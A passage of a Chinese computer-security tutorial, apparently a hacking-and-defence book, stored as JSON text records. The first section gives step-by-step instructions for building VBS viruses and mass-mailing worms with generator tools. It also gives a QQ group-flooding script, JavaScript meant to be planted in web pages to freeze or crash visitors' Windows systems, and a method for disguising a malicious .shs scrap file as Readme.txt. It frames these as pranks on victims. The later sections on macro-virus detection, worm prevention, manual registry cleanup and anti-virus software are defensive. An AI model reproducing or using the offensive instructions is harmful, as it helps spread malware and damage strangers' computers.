    {"text": "1）对于寄生在磁盘引导扇区的病毒，病毒引导程序占有了原系统引导程序的位置，并把原系统引导程序迁移到一个特定的地方。 系统一启动，病毒引导模块就会自动地载入内存并获得执行权，该引导程序负责将病毒程序的传染模块和表现模块装入内存的适当位置，并采取常驻内存技术以保证这两个模块不会被覆盖，再对这两个模块设定某种激活方式，使之在适当时候获得执行权。 处理完这些工作后，病毒引导模块将系统引导模块装入内存，使系统在带病毒状态下运行。 对于寄生在可执行文件中的病毒，病毒程序一般通过修改原有可执行文件，使该文件在执行时先转入病毒程序引导模块，该引导模块也可完成把病毒程序的其他两个模块驻留内存中及初始化的工作，把执行权交给执行文件，使系统及执行文件在带病毒的状态下运行。"},
    {"text": "2）对于病毒的被动传染而言，是随着拷贝磁盘或文件工作的进行而进行传染的。 而对于计算机病毒的主动传染而言，其传染过程是在系统运行时，病毒通过病毒载体即系统的外存储器进入系统的内存储器、常驻内存，并在系统内存中监视系统的运行。"},
    {"text": "在病毒引导模块将病毒传染模块驻留内存的过程中，通常还要修改系统中断向量入口地址（例如INT 13H或INT 21H），使该中断向量指向病毒程序传染模块。 这样，一旦系统执行磁盘读写操作或系统功能调用，病毒传染模块就被激活，传染模块在判断传染条件满足的条件下，利用系统INT 13H读写磁盘中断把病毒自身传染给被读写的磁盘或被加载的程序，也就是实施病毒的传染，再转移到原中断服务程序执行原有的操作。"},
    {"text": "3）计算机病毒的破坏行为体现了病毒的杀伤力。 病毒破坏行为的激烈程度，取决于病毒制作者的主观愿望和其所具有的技术能量。 数以万计、不断发展扩张的病毒，其破坏行为千奇百怪，不可能穷举其破坏行为，难以做全面地描述。"},
    {"text": "3.病毒的工作流程 计算机系统的内存是一个非常重要的资源，所有的工作都需要在内存中运行。 病毒一般都是通过各种方式把自己植入内存，获取系统最高控制权，感染在内存中运行的程序。 计算机病毒的完整工作过程应包括如下几个环节。 1）感染病毒：病毒总是依附于某些存储介质，如软盘、硬盘等构成传染源。 病毒传染的媒介由其工作的环境来决定的，可能是计算机网络，也可能是可移动的存储介质，如U盘等。 2）病毒激活：是指将病毒装入内存，并设置触发条件。 一旦触发条件成熟，病毒就开始自我复制到传染对象中，进行各种破坏活动等。 3）病毒触发：计算机病毒一旦被激活，立刻就会发生作用，触发的条件是多样化的，可以是内部时钟，系统的日期，用户标识符，也可能是系统一次通信等。 4）病毒表现：表现是病毒的主要目的之一，有时在屏幕显示出来，有时则表现为破坏系统数据。"},
    {"text": "计算机病毒的传染是以计算机系统的运行及读写磁盘为基础的。 没有这样的条件计算机病毒是不会传染的。 只要计算机运行就会有磁盘读写动作，病毒传染的两个先决条件就很容易得到满足。 系统运行为病毒驻留内存创造了条件，病毒传染的第一步是驻留内存； 第二步是一旦进入内存之后，寻找传染机会，寻找可攻击的对象，判断条件是否满足，决定是否可传染； 第三步是当条件满足时进行传染，将病毒写入磁盘系统。"},
    {"text": "未知 第55招 VBS代码也可产生病毒 脚本病毒通常是由JavaScript代码编写的恶意代码，一般带有广告性质、修改IE首页、修改注册表等信息。 脚本病毒前缀是Script，共同点是使用脚本语言编写，通过网页进行的传播，如红色代码（Script.Redlof）脚本病毒还会有其他前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。 1.VBS脚本病毒生成机 现在网络中还流行有如“VBS脚本病毒生成机”这样的自动生成脚本语言软件，无需掌握枯燥的语言，即可自制脚本病毒，让用户无需一点编程知识即可制造出一个VBS脚本病毒。 下面介绍脚本病毒的制作过程，具体的操作步骤如下。 步骤1：下载并解压“2004最新VBS脚本病毒生成机”压缩文件，双击“2004最新VBS脚本病毒生成机.exe”应用程序图标，即可打开【星竹软件系列--VBS脚本病毒生成机】对话框，在其中看到程序的相关介绍，如图6-1所示。 图 6-1 【星竹软件系统-VBS脚本病毒生成机】对话框 小技巧 在用此软件制作生成病毒的同时，会产生一个名为\"reset.vbs\"的恢复文件，如果不小心运行了病毒，系统将不能正常工作，则可以运行它来解救。"},
    {"text": "步骤2：在“病毒复制”选项卡中可选择是否将在最终生成病毒的同时，在指定的文件夹下再生成一个病毒副本。 也可选择在Windows文件夹或系统文件夹中生成病毒副本，文件名的前缀默认为\"Win32system\"，可以自定义。 如果想在每次开机时自动运行该病毒程序，可勾选“复制病毒副本到启动菜单”复选项，如图6-2所示。 图 6-2 “病毒复制”选项页面 提示 除软件默认指定的这几个选项外，用户也可任意指定病毒副本的存放位置，这需要对生成的VBS病毒文件手动进行一些修改才行。 步骤3：在“病毒禁止”选项卡中根据要设计的脚本病毒功能勾选合适的复选框，如图6-3所示。 在“病毒提示”选项卡的“设置开机提示框标题”输入栏和“设置开机提示框内容”输入栏中输入字符，如图6-4所示。 图 6-3 “病毒禁止”选项页面 图 6-4 “病毒提示”选项页面 注意 若勾选“开机自动运行”，则病毒将自动加入注册表中，伴随系统启动悄悄运行； 如果只是想搞点恶作剧，可勾选“禁止运行菜单”、“禁止关闭系统菜单”、“禁止任务栏和开始”及“禁止桌面所有图标”等选项，让中毒者的电脑出现些莫名其妙的错误。 如果想让对方开机后找不到硬盘分区、无法运行注册表编辑器和无法打开控制面板等，则需要勾选“隐藏盘符”、“禁止使用注册表扫描”和“禁用控制面板”等选项即可。 步骤4：在“病毒传播”选项卡中勾选“通过电子邮件自动传播（蠕虫，慎用！ ）”复选框，即可激活“每次运行自动地址簿中的前”文本框，在其中输入相应的数字后，则每次病毒运行时，都会自动向邮件地址簿中指定数字的联系人发送带毒邮件，如图6-5所示。 图 6-5 “病毒传播”选项页面 步骤5：在“病毒修改”选项卡中根据要设计的脚本病毒的功能勾选相应复选框，如图6-6所示。 在“病毒生成”选项卡的输入框中输入脚本病毒文件存放位置，如图6-7所示。 单击【我愿付一切责任，我要生成病毒】按钮，即可弹出“星竹软件系列”提示框，提示“病毒成功生成完毕！"},
    {"text": "图 6-6 “病毒修改”选项页面 图 6-7 “病毒生成”选项页面 图 6-8 “星竹软件系列”提示框 在病毒生成之后，如何让病毒在对方的电脑上运行呢？"},
    {"text": "2.VBS蠕虫病毒制造机 VBSWG（VBS Worm Generator, VBS蠕虫制造机）是一款专门制造VBS蠕虫病毒的软件，下载并解开压缩包后会看到里面包含两个可执行文件：一个是主程序\"Vbswg.exe\"文件，另一个是附带的加密程序\"VbsEncrypter.exe\"文件，还有一个英文的帮助文件。"},
    {"text": "制作VBS蠕虫病毒的具体操作步骤如下。 步骤1：下载并解压缩“VBS蠕虫制造机”文件，双击\"vbswg.exe\"应用程序图标，即可看到启动画面。"},
    {"text": "图 6-10 \"vbswg2 Beta\"主操作界面 步骤3：在\"Copy worm to\"选项中可选择将蠕虫拷贝到什么目录下，如Windows下（%Windows%）、System（%System%）下和Temp（%Temp%）下。"},
    {"text": "图 6-11 【Startup】对话框 步骤4：单击窗口最上方第二个【E-Mail】按钮，即可弹出【vbswg2-E-Mail】对话框，在其中可以自己编写标题和内容，如图6-12所示。"},
    {"text": "图 6-12 【vbswg2-E-Mail】对话框 步骤5：单击窗口最上方第三个【lrc】按钮，即可弹出【vbswg2-lrc】对话框，在其中选择可以感染Mirc的选项，如图6-13所示。 单击窗口最上方第四个【Infect】按钮，即可弹出【vbswg2-infect】对话框，由于\"Infect\"默认感染.vbs和.vbe文件。"},
    {"text": "图 6-13 【vbswg2-lrc】对话框 图 6-14 【vbswg2-infect】对话框 步骤6：若单击窗口最上方第五个【Payload】按钮，即可弹出【vbswg2-Payload】对话框，在其中选择一些不太实用的功能，如改变用户名、发送消息和自动关闭计算机（仅支持Win9x和WinMe）等，如图6-15所示。 图 6-15 【vbswg2-Payload】对话框 步骤7：单击窗口最上方的【Extras】按钮，即可从弹出菜单中选择其中一种功能来设置病毒的隐藏。"},
    {"text": "图 6-16 查看Extras所具备的四项功能 步骤8：如选择“AntiDeletion（反删除）”功能，即可弹出【vbswg2-AntiDeletion】对话框，在其中可以随时检查注册表和其隐藏的目录，如果发现键值或程序已被删除，就再次恢复（这一点有点类似于某些木马，查杀起来比较麻烦，可以说这是一种比较好的生存方式），如图6-17所示。"},
    {"text": "图 6-17 【vbswg2-AntiDeletion】对话框 步骤9：若选择\"Encryption\"选项，即可弹出【vbswg2-Encryption】对话框，则可从字符串加密和完全加密两项中选择其中任意一种加密方式，如图6-18所示。"},
    {"text": "若选择\"Join\"选项，即可弹出【vbswg2-Join】对话框，在其中将一个二进制程序的代码嵌入到vbs中间解释执行，以夹带其他二进制病毒，从而实现“双病毒”的奇特功效，但很危险。"},
    {"text": "图 6-18 【vbswg2-Encryption】对话框 图 6-19 【vbswg2-Join】对话框 3.VBS脚本病毒刷QQ聊天屏 VBS脚本语言功能强大，而且使用异常简单，下面将为大家讲述制作一个可以自动刷QQ群聊天室的VBS病毒。 （1）生成VBS脚本 要新建一个记事本，并在空白的文本框中输入如下代码： Set WshShell=WScript.CreateObject(\"WScript.Shell\") WshShell.AppActivate\"这个群真好玩\" for i=1 to 10 WScript.Sleep 500 WshShell.SendKeys\"^v\" WshShell.SendKeys i WshShell.SendKeys\"%s\" Next 其中\"for i=1 to 10\"语句是用来控制发送次数的，表示发送10次，可以改为更大的数字。 其中很重要的一句是“WshShell.AppActivate\"这个群真好玩\"”，该语句指定了要刷的QQ群名称，可以根据需要修改。"},
    {"text": "图 6-20 在记事本中添加代码 （2）刷QQ群聊天屏 打开一个群聊天窗口并复制要发送的内容到剪贴板上，如复制了一条“什么？ ”，双击刚才生成的\"QQ.vbs\"切换到群聊天窗口中，在其中可看到已自动刷屏了，如图6-21所示。 图 6-21 群聊天窗口 注意 在刷屏成功后，每一条信息下面都显示信息发送的条数，当发送完指定的条数后，便会自动停止了。"},
    {"text": "4.VBS网页脚本病毒 许多网页中的重要代码大多是采用VBS语言编写，大家可在这类网页中加入一些VBS病毒代码，造成浏览网页者死机、系统被破坏和数据丢失等。 下面介绍几个VBS网页脚本病毒代码，该代码可与IE网页木马结合使用。 （1）无限循环窗口 在网页中加入一些VBS病毒代码，将造成无限循环窗口的具体操作步骤如下。"},
    {"text": "再新建一个记事本，在记事本窗口空白文本区添加\"＜script language=\"java script\"＞n=1;while(n==1){window.open(\"\")}＜/script＞\"代码，如图6-22所示。"},
    {"text": "图 6-22 添加VBS病毒代码 步骤2：添加到合适的位置后，选择【文件】→【另存为】菜单项，即可弹出【另存为】对话框，在其中输入需保存文件名并选择文件类型为.html格式，再保存该网页。"},
    {"text": "步骤2：新建一个记事本，在记事本窗口空白文本区添加“＜Script language=\"javascript\"＞a=prompt（\"请输入登录密码：\"，\"\"）； If(a!=\"123\"){window. open(\"file:///C:/con/con\")}else{alert(\"密码正确!\")}＜/script＞”代码。"},
    {"text": "步骤3：添加到合适的位置后，选择【文件】→【另存为】菜单项，即可弹出【另存为】对话框，在其中输入需要保存的文件名并选择文件类型为.html格式，再保存该网页。"},
    {"text": "步骤4：打开刚保存过的网页，则会要求输入登录密码，默认密码为“123”。 密码输入正确后可进入网页； 如果密码输入不正确，后果将会是Windows死机崩溃且无法再打开C盘。"},
    {"text": "未知 第56招 宏病毒与邮件病毒防范 宏病毒与邮件是广大用户经常遇到的病毒，如果中了这些病毒就可能会给自己造成重大损失，所以有必要了解一些这方面的防范知识。 1.宏病毒的判断方法 虽然不是所有包含宏的文档都包含了宏病毒，但当有下列情况之一时，则可以断定该Office文档或Office系统中有宏病毒。 1）在打开“宏病毒防护功能”的情况下，当打开一个自己编辑的文档时，系统会弹出相应的警告框。 而自己清楚自己并没有在其中使用宏或并不知道宏到底怎么用，那么就可以肯定该文档已经感染了宏病毒。 2）在打开“宏病毒防护功能”的情况下，自己的Office文档中一系列的文件都在打开时给出宏警告。 由于在一般情况下用户很少使用到宏，所以当自己看到成串的文档有宏警告时，可以肯定这些文档中有宏病毒。 3）如果软件中关于宏病毒防护选项启用后，不能在下次开机时依然保存。 Word中提供了对宏病毒的防护功能，它可以在“工具”→“选项”→“常规”中进行设定。 但有些宏病毒为了对付Office中提供的宏警告功能，它在感染系统（这通常只有在用户关闭了宏病毒防护选项或者出现宏警告后不留神选取了“启用宏”才有可能）后，会在用户每次退出Office时自动屏蔽掉宏病毒防护选项。 因此，用户一旦发现自己设置的宏病毒防护功能选项无法在两次启动Word之间保持有效，则系统一定已经感染了宏病毒。"},
    {"text": "鉴于绝大多数人都不需要或者不会使用“宏”功能，所以可以得出一个相当重要的结论：如果Office文档在打开时，系统给出一个宏病毒警告框，就应该对这个文档保持高度警惕，它已被感染的几率极大。"},
    {"text": "但宏病毒并不像某些厂商或麻痹大意的人那样有所谓“广谱”的查杀软件，这方面的突出例子就是ETHAN宏病毒。 ETHAN宏病毒相当隐蔽，比如用户使用反病毒软件（应该算比较新的版本了）都无法查出它。 此外，这个宏病毒能够悄悄取消Word中宏病毒防护选项，并且某些情况下会把被感染的文档置为只读属性，从而更好地保护了自己。 因此，对付宏病毒应该和对付其他种类的病毒一样，也要尽量使用最新版本的查杀病毒软件。"},
    {"text": "（2）应急处理方法 用写字板或Word文档作为清除宏病毒的桥梁。 如果用户的Word系统没有感染宏病毒，但需要打开某个外来的、已查出感染有宏病毒的文档，而手头现有的反病毒软件又无法查杀它们，就可以试验用来查杀文档中的宏病毒：打开感染了宏病毒的文档（当然是启用Word中的“宏病毒防护”功能并在宏警告出现时选择“取消宏”），选择【文件】→【另存为】菜单项，将此文档改存成写字板（RTF）格式或Word格式。 在上述方法中，存成写字板格式是利用RTF文档格式没有宏，存成Word格式则是利用了Word文档在转换格式时会失去宏的特点。 写字板所用的RTF格式适用于文档中的内容限于文字和图片的情况下，如果文档内容中除了文字、图片外还有图形或表格，按Word格式保存一般不会失去这些内容。 存盘后应该检查一下文档的完整性，如果文档内容没有任何丢失，并且在重新打开此文档时不再出现宏警告则大功告成。"},
    {"text": "3.全面防御邮件病毒 邮件病毒是通过电子邮件方式进行病毒传播的总称。 电子邮件传播病毒通常是把自己作为附件发送给被攻击者，如果接受到该邮件的用户不小心打开了附件，病毒就会感染本地计算机。 另外，由于电子邮件客户端程序的一些Bug，也可能被攻击者利用传播电子邮件病毒，微软的Outlook Express曾经就因为两个漏洞可以被攻击者编制特制的代码，使接受到邮件的用户不需要打开附件，即可自动运行病毒文件。 在了解了邮件病毒的传播方式后，用户就可以根据其特性制定出相应的防范措施。 1）安装防病毒程序。 防御病毒感染的最佳方法就是安装防病毒扫描程序并及时更新。 防病毒程序可以扫描传入的电子邮件中的已知病毒，并帮助防止这些病毒感染计算机。 新病毒几乎每天都会出现，因此需要确保及时更新防病毒程序。 多数防病毒程序都可以设置为定期自动更新，以具备需要与最新病毒进行斗争的信息。"},
    {"text": "病毒编写者用于将恶意文件潜入到计算机中的一种方法是使用压缩文件格式（如.zip或.rar格式）将文件作为附件发送。 多数防病毒程序会在接收到附件时进行扫描，但为了安全起见，应该将压缩的附件保存到计算机的一个文件夹中，在打开其中所包含的任何文件之前先使用防病毒程序进行扫描。"},
    {"text": "电子邮件中的欺骗性链接通常作为仿冒和间谍软件的一部分使用，但也会用来传输病毒。 点击欺骗性链接会打开一个网页，该网页将试图向计算机下载恶意软件。"},
    {"text": "在决定是否点击邮件中的链接时要小心，尤其是邮件正文看上去含糊不清，如邮件上写着“查看我们的假期图片”，但没有标识用户或发件人的个人信息。"},
    {"text": "4.揭秘文本病毒 文本文件是日常计算机应用中最为常见的文件格式，由于Microsoft公司的“写字板”程序允许插入一个外来对象，还提供了对对象包的编辑功能，就使得可以建立一个写字板文件，对其插入一个TXT文件并对TXT文件进行对象包编辑，输入破坏性命令，再利用Windows系统的拖拽功能把该对象拖出写字板，该对象包就形成了一个碎片文件（.shs）。 由于Windows系统默认不显示已知扩展名称（像.txt、.shs等文件后缀都不显示，但会以不同图标显示），如用户运行了包含有破坏性命令的碎片文件，就会带来灾难性破坏。"},
    {"text": "图 6-24 创建文本文件 图 6-25 添加对象 步骤2：选择【编辑】→【包对象】→【编辑包】菜单项，即可打开【对象包装程序】窗口，如图6-26所示。"},
    {"text": "图 6-26 执行“编辑包”命令 图 6-27 输入命令 步骤3：单击【插入图标】按钮，再单击【确定】按钮，在弹出的对话框中选择一个图标，如图6-28所示。 选择【编辑】→【标签】菜单项，为此嵌入对象取一个名称，如图6-29所示。"},
    {"text": "图 6-28 选择图标 图 6-29 为嵌入对象取名 步骤4：在关闭【对象包装程序】窗口之后，单击【更新】按钮，将编辑好的对象拖出“写字板”窗口形成一个片段文件，如图6-30所示。"},
    {"text": "图 6-30 生成的片段文件 步骤5：将该片段文件更名为\"Readme.txt\"，但真实的后缀.shs并不更改，因为其真实后缀并不显示，且图标也没有改变，如图6-31所示。"},
    {"text": "未知 第57招 全面防范网络蠕虫 与传统的病毒不同，蠕虫病毒以计算机为载体，以网络为攻击对象，网络蠕虫病毒可分为利用系统级别漏洞（主动传播）和利用社会工程学（欺骗传播）两种。"},
    {"text": "1.网络蠕虫病毒实例分析 目前，产生严重影响的蠕虫病毒有很多，如“莫里斯蠕虫”、“美丽杀手”、“爱虫病毒”、“红色代码”、“求职信”和“蠕虫王”等，都给人们留下了深刻的印象。"},
    {"text": "该病毒会给MSN、QQ等聊天工具的好友发送诱惑性消息：\"Hehe.takea look at this funny game http://****//Monkye.exe\"，同时假借HowtoHack.exe、HalfLife2FULL.exe、WindowsXP.exe、VisualStudio2005.exe等文件名复制自身到文件共享网络，并试图在Internet网络上下载执行另一蠕虫病毒，直接降低系统安全设置，给用户正常操作带来极大的隐患。"},
    {"text": "2）安莱普蠕虫病毒。 “安莱普”（Worm.Anap.b）蠕虫病毒通过电子邮件传播，利用用户对知名品牌的信任心理，伪装某些知名IT厂商（如成微软、IBM等）给用户发带毒邮件，诱骗用户打开附件以致中毒，病毒运行后会弹出一个窗口，内容提示为“这是一个蠕虫病毒”。"},
    {"text": "虽然利用邮件进行传播一直是病毒传播的主要途径，但随着网络威胁种类的增多，和病毒传播途径的多样化，某些蠕虫病毒往往还携带着“间谍软件”和“网络钓鱼”等不安全因素。"},
    {"text": "因此，一定要注意即时升级自己的杀毒软件到最新版本，注意打开邮件监控程序，让自己的上网环境安全。 2.网络蠕虫病毒的全面防范 在对网络蠕虫病毒有了一定的了解后，下面主要讲述一下应该如何以企业和个人的两种角度做好安全防范。 （1）企业用户对网络蠕虫的防范 企业在充分地利用网络进行业务处理时，不得不考虑企业的病毒防范问题，以保证关系企业命运的业务数据不被破坏。 企业防治蠕虫病毒时需要考虑几个问题：病毒的查杀能力、病毒的监控能力和新病毒的反应能力。 推荐的企业防范蠕虫病毒的策略如下。"},
    {"text": "由于蠕虫病毒是利用Windows系统漏洞进行攻击的，因此，就要求网络管理员尽力在第一时间内，保持系统和应用软件的安全性，保持各种操作系统和应用软件的及时更新。"},
    {"text": "由于蠕虫病毒爆发的突然性，可能在被发现时已蔓延到了整个网络，建立一个紧急响应系统就显得非常必要，能够在病毒爆发的第一时间提供解决方案。"},
    {"text": "（2）个人用户对网络蠕虫的防范 对于个人用户而言，威胁大的蠕虫病毒采取的传播方式一般为电子邮件（Email）以及恶意网页等。 下面介绍一下个人应该如何防范网络蠕虫病毒： 1）安装合适的杀毒软件。 网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍，杀毒软件必须向内存实时监控和邮件实时监控发展； 网页病毒也使用户对杀毒软件的要求越来越高！"},
    {"text": "杀毒软件对病毒的查杀是以病毒的特征码为依据的，而病毒每天都层出不穷，尤其是在网络时代，蠕虫病毒的传播速度快，变种多，所以必须随时更新病毒库，以便能够查杀最新的病毒！"},
    {"text": "不要轻易去点击陌生的站点，有可能里面就含有恶意代码！ 当运行IE时，在“Internet区域的安全级别”选项中把安全级别由“中”改为“高”，因为这一类网页主要是含有恶意代码的ActiveX或Applet、javascript的网页文件，在IE设置中将ActiveX插件和控件、Java脚本等全部禁止，以大大减少被网页恶意代码感染的几率。"},
    {"text": "双击【控制面板】窗口中的“Internet选项”图标项，即可打开【Internet属性】对话框，如图6-32所示。 在“安全”选项卡中单击【自定义级别】按钮，即可弹出【安全设置】对话框，把“Activex控件及插件”中的一切选项都设为禁用，如图6-33所示。"},
    {"text": "未知 第58招 手动查杀病毒 如今许多新型病毒只有等到爆发之后才会有相应的更新病毒库，因此，学习手动杀毒很有必要，可以让用户更加熟悉计算机的进程以及更多计算机技术。 1.查看系统信息 病毒的伪装性非常强，通常会伪装成为系统进程让人不易察觉，其中Explorer.exe、svchost.exe、spoolsv.exe、winlogon.exe、rundll32.exe等，就是病毒最容易利用的进程，而且这些进程都是为了确保系统正常运行的必备进程。"},
    {"text": "病毒会伪装成与这些进程名称极其类似的名字，欺骗用户，或将自身的DLL模块嵌入到这些系统进程当中。 下面从基础的病毒名称欺骗来介绍病毒进程命名欺骗的大体方式： 如危害性极大的“威金病毒”主要包含有：rundl132.exe、logo_1.exe、vdll.dll、logo1_.exe、exp10rer.exe等病毒进程，这些病毒进程看起来与系统进程没什么区别，其实不然，仔细分别就能看出，原系统进程为\"rundll32.exe\"，而病毒进程为\"rundl132.exe\"，区别在于系统进程是两个英文字母\"ll\"，病毒进程则是一个英文字母\"l\"一个数字“1”；"},
    {"text": "对于这些伪装的病毒，可以使用一些进程查看工具，将进程名称复制在记事本中，记事本文件可以很容易地分辨出字母和数字的区别，对照正常进程列表就很容易查看出哪些是系统进程，哪些是病毒文件了。 2.搜索注册表 注册表也是病毒喜欢的藏身之处，甚至有些病毒利用注册表躲过了许多杀毒软件的查杀。 其中\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Curren Version\"与\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\"下以\"Run\"开头的键值名是最容易隐藏病毒的地方，也是病毒能够随系统的启动而运行的关键所在。"},
    {"text": "在使用注册表查杀病毒之前最好备份一下注册表，以免修改不当而造成系统的崩溃。 下面介绍一些著名病毒的注册表查杀方法。 （1）清除Sirsam蠕虫病毒 具体操作步骤如下。"},
    {"text": "步骤1：在注册表编辑器中查找注册表\"HKEY_CLASSES_ROOT\\exefile\\shell\\open\\comm and\"项，修改键值\"C:\\recycled\\Sir32.exe\"为“\"%1\"\"%*\"”。 步骤2：查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Current Version\\RunService\"选项，删除子项\"Driver32\"。 步骤3：查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\"项，删除子项\"Driver32\"。"},
    {"text": "步骤1：在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Micro soft\\Windows\\CurrentVersion\\RunService\"项，删除键值\"C:\\windows\\system\\ker nel32.exe\"。"},
    {"text": "（3）清除\"YAL\"木马病毒 在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Wind ows\\CurrentVersion\\RunServices\"选项，删除键值\"Batterieanzeige\"。 （4）清除Netbull病毒 在注册表编辑器中查找注册表\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows CurrentVersion\\Run\"、\"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersio n\\RunServices\"、\"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"选项，删除键值\"CheckDll.exe\"。 （5）清除爱情森林病毒 在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windo ws\\CurrentVersion\\Run\"项，删除键值\"intarnet=%windowssystem%rundll.exe\"。 （6）清除KeyboardGhost病毒 在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Win dows\\CurrentVersion\\RunServices\"项，删除键值\"KeyboardGhost\"。 （7）清除爱虫病毒 在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Win dows\\CurrentVersion\\Run\"项，删除键值\"Mskernel32\"。 （8）清除求职信变种病毒 在注册表编辑器中查找注册表\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Win dows\\CurrentVersion\"、\"HKEY_LOCAL_MACHINE\\SOFTWARE\\System\\CurrentControlSet\\Services\"项，删除所有键值\"Wink???.exe\"。 3.删除病毒 在进程中查找病毒进程和注册表中清除病毒的键值还不足以彻底消灭病毒，因为病毒都还有一个本体文件，通常隐藏在系统硬盘中，只有彻底删除病毒文件，才能成功清除掉病毒。 系统文件夹是病毒经常藏身之地，系统文件默认为隐藏状态：双击打开“我的电脑”窗口，选择【文件】→【文件夹选项】菜单项，即可打开【文件夹选项】对话框，如图6-34所示。"},
    {"text": "在【查看】选项卡的“高级设置”栏中选择“显示所有文件和文件夹”单选项，如图6-35所示。 单击【确定】按钮，即可查看系统中所有隐藏的文件和文件夹。 图 6-34 【文件夹选项】对话框 图 6-35 【查看】选项卡 一般情况下，Windows操作系统都存放在C盘下，下面以Windows XP操作系统为例，列出一些病毒经常光顾的文件夹。 C:/ C:/WINOWS C:/WINDOWS/SYSTEM32 C:/WINDOWS/SYSTEM C:/Program Files/Internet Explorer C:/windows/Temporary Internet Files/Temporary Internet Files C:/temp C:/winows/temp C:/Documents and Settings/Administrator/Templates C:/Documents and Settings/Administrator/Local Settings/Temporary Internet Files C:/Documents and Settings/Administrator/Local Settings/Temp 后3个为“我的文档”的位置，根据系统版本的不一样位置也可能有所变化，如GHOST版本的系统为了安全起见，会将“我的文档”放在D盘目录下，读者需依据自身情况来查看这些文件夹。"},
    {"text": "因此，最好在安全模式或DOS下进行杀毒。 对于一些不太熟悉DOS命令的朋友，建议在安全模式下进行。 具体操作方法：重启系统并在BIOS加载完后迅速按\"F8\"键，出现“Windows高级选项菜单”界面时使用光标键的“↑”和“↓”移动选择选项，高亮显示条就是当前选中的选项，选择“安全模式”选项，就可以进入安全模式了。 安全模式是在不加载第三方设备驱动程序的情况下启动计算机，使计算机运行在系统最小模式，这样，用户就可以方便地检测与修复计算机系统的错误，在这样的环境中查杀病毒会更彻底、更干净。"},
    {"text": "未知 第59招 使用杀毒软件 杀毒软件也是病毒防范必不可少的工具，随着人们对病毒危害的认识，杀毒软件也被逐渐地重视起来，各式各样的杀毒软件如雨后春笋般出现在市场中。 1.用NOD32查杀病毒 NOD32是近几年中迅速崛起的一款杀毒软件。以轻巧易用、惊人的检测速度及卓越的性能深受用户青睐，成为许多用户和IT专家的首选。并且经多家检测权威确认，NOD32在速度，精确度和各项表现上已拥有多项的全球记录。 在使用NOD32进行查杀病毒之前，最好先升级一下病毒库，这样才能保证杀毒软件对新型病毒的查杀效果。更新病毒库之后，就可以对计算机进行最常用的查杀病毒操作了。 具体的操作步骤如下。 步骤1：选择【开始】→【所有程序】→【ESET】→【ESET NOD32 Antivirus】→【ESET NOD32 Antivirus】菜单项，即可打开【ESET NOD32 Antivirus】窗口，如图6-36所示。 图 6-36 【ESET NOD32 Antivirus】窗口 步骤2：单击左侧【计算机扫描】选项卡，即可任意选择扫描的目标范围。单击“标准扫描”链接，即可对计算机全面扫描，如图6-37所示。 图 6-37 开始扫描 步骤3：单击“在新窗口中显示扫描和日志”链接，即可打开【计算机扫描】窗口，在其中可查看扫描的详细过程，如图6-38所示。在等待扫描完毕之后，将会显示扫描结果，显示如图6-39所示。单击【确定】按钮，即可完成对计算机的查杀。 图 6-38 【计算机扫描】窗口 图 6-39 病毒查杀完毕 步骤4：单击左侧【设置】选项卡，即可对NOD32调整计算机的安全等级，如图6-40所示。单击“切换高级模式”链接，即可弹出【切换到高级模式】对话框，如图6-41所示。 图 6-40 【设置】选项卡 图 6-41 切换到高级模式对话框 步骤5：单击【确定】按钮，就会在左侧窗口多出一个【工具】选项卡，在其中可查看NOD32对查杀病毒的一些信息，如图6-42所示。单击【日志文件】链接，即可弹出【日志文件】窗口，在其中可看到扫描记录，如图6-43所示。 图 6-42 “高级模式”界面 图 6-43 【日志文件】窗口 2.瑞星杀毒软件2009 瑞星全功能安全软件2009基于“云安全”策略和“智能主动防御”技术开发的新一代互联网安全产品，将杀毒软件与防火墙的无缝集成、整体联动，极大降低电脑资源占用，集“拦截、防御、查杀、保护”四重防护功能于一身。由8000万用户组成的“云安全”网络第一时间截获、查杀木马病毒和挂马网站，将病毒阻挡在电脑之外，斩断木马病毒传播通道。 将瑞星杀毒2009安装完毕之后，就可以利用它进行病毒的防范和查杀了。 使用瑞星杀毒软件进行杀毒的具体操作步骤如下。 步骤1：启动瑞星杀毒软件，单击【杀毒】选项卡，进入“杀毒”标签页，如图6-44所示。在其中确定要扫描的文件夹或其他目标，在【查杀目标】中被勾选的目录即未当前选定的查杀目标，如图6-45所示。 图 6-44 “杀毒”标签页 图 6-45 确定查杀目标 步骤2：单击【开始查杀】按钮，则开始查杀相应目标，发现病毒立即清除；扫描过程中可随时单击【暂停查杀】按钮来暂时停止查杀病毒，按【继续查杀】按钮则继续查杀，或单击【停止查杀】按钮停止查杀病毒。 步骤3：查杀病毒过程中，文件数、病毒数和查杀百分比将显示在下面，并且可以通过【详细信息】查看查杀病毒的详细情况，其中包括：当前查杀文件路径、查杀信息、查杀进度、病毒列表等。若瑞星杀毒软件发现病毒，则会将文件名、所在文件夹、病毒名称和状态显示在此窗口中。在每个文件名称前面有图标标明病毒类型，病毒类型详见病毒类型识别。通过单击“概要信息”超链接，来返回到前一页面。另外，查杀病毒方式可以使用右键菜单对染毒文件进行处理，如图6-46所示。 图 6-46 正在查杀 步骤4：在查杀结束后，即可弹出【查杀结果】对话框，在其中看到查杀文件数、发现病毒数、查杀所用的时间等信息。同时扫描结果将自动保存到杀毒软件工作目录的指定文件中，可通过历史记录来查看以往查杀病毒结果，如图6-47所示。 图 6-47 【查杀结果】对话框"},
